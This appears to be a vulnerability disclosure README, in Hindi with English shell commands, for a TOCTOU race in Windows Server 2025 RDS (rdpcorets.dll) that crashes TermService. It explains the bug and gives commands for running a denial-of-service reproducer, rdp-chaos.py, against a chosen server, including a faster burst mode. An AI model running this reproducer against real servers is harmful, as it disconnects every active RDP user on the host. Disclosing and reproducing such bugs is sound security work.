CVE-2026-50369

Windows Server 2025 RDS सेशन होस्ट्स पर rdpcorets.dll!CRdpPipeGfxPlugin::Enable में TOCTOU रेस कंडीशन के लिए रिप्रोड्यूसर।

मैंने इसे DoS के रूप में रिपोर्ट किया था; कोड-पाथ किसी तरह EoP को भी सक्षम करता प्रतीत होता है। यह रिप्रोड्यूसर केवल DoS पाथ के लिए एक PoC है।

बग

Enable बिना सिंक्रोनाइज़ेशन के this+0x60 पर एक COM इंटरफ़ेस पॉइंटर को दो बार पढ़ता है। TerminateInstance अपने स्वयं के क्रिटिकल सेक्शन स्कोप के बाहर उसी फ़ील्ड को साफ़ करता है। दोनों PnP डिवाइस आगमन और निष्कासन वर्क आइटम्स के माध्यम से NT थ्रेडपूल पर समवर्ती रूप से निष्पादित होते हैं। दूसरा रीड null को डीरेफ़रेंस करता है → एक्सेस वायलेशन → TermService क्रैश → सभी सक्रिय RDP सेशन डिस्कनेक्ट हो जाते हैं।

# install dependencies (Debian/Ubuntu)
sudo apt install -y freerdp3-x11 xvfb python3  # or freerdp2-x11

# create credentials file
echo -e "user1:pass1\nuser2:pass2\nuser3:pass3" > credentials.txt

# standard mode
python3 rdp-chaos.py --server <target> --creds credentials.txt

# burst mode (faster trigger)
python3 rdp-chaos.py --server <target> --creds credentials.txt \
    --burst --burst-count 16 --burst-kill-hold 0.1 --burst-race 0.030